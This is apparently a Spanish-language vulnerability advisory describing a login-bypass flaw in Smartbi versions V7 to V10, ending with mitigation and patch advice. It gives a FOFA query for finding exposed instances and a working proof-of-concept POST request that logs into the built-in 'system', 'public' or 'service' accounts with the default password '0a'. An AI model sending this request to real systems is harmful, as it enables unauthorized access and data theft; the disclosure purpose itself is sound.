Vulnerabilidad de omisión de inicio de sesión de usuario integrada de Smartbi
Descargo de responsabilidad: No utilice las tecnologías relevantes en este artículo para participar en pruebas ilegales. Cualquier consecuencia directa o indirecta y las pérdidas causadas por la difusión y el uso de la información o las herramientas proporcionadas en este artículo correrán a cargo del propio usuario. Las consecuencias adversas tienen nada que ver con el autor del artículo. Este artículo es solo para fines educativos.
1. Introducción del producto
Los productos de análisis de big data de Smartbi integran todas las etapas de la definición de BI, se acoplan con varias bases de datos comerciales, almacenes de datos y plataformas de análisis de big data para procesamiento, análisis y minería, y visualización visual; satisfacen las diversas necesidades de aplicaciones de análisis de datos de todos los usuarios, como Análisis de datos grandes, análisis visual, análisis exploratorio, informes complejos, uso compartido de aplicaciones, etc.
2. Visión general de la vulnerabilidad
Smartbi tendrá varios usuarios incorporados durante la instalación. Al usar una interfaz específica, puede omitir el mecanismo de autenticación de identidad del usuario para obtener sus credenciales de identidad y luego usar las credenciales de identidad obtenidas para llamar a la interfaz en segundo plano, lo que puede generar información confidencial. Fuga de información y ejecución de código.
3. Ámbito de influencia
V7 <= Smartbi <= V10
4. Ambiente de reproducción
FOFA:aplicación="SMARTBI"
5. Recurrencia de la vulnerabilidad
Verificar que la vulnerabilidad existe
http://su-ip/smartbi/vision/RMIServlet
PoC:
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
className=UserService&methodName=loginFromDB¶ms=["system","0a"]
Los tres parámetros pasados en el cuerpo de la solicitud.
className: se debe especificar el nombre de la clase UserService methodName: método llamado por esta clase loginFromDB
params: el primer parámetro son los tres nombres de usuario incorporados (público, servicio, sistema) que se pueden construir aleatoriamente, y el segundo parámetro es la contraseña de texto cifrado predeterminada de las tres cuentas (el valor predeterminado es 0a)
Enviar una solicitud de publicación para omitir el inicio de sesión
Después de enviar la solicitud, actualice la página para iniciar sesión en segundo plano
6. Sugerencias de reparación
plan provisional de mitigación
Bajo la premisa de confirmar que el negocio no se verá afectado, elimine varias cuentas integradas (pública, servicio, sistema). Al mismo tiempo, si no es necesario, no abra el sistema Smartbi en Internet.
corrección de actualización
Se ha lanzado el paquete de parche de actualización oficial, que admite la actualización en línea y la instalación de parches fuera de línea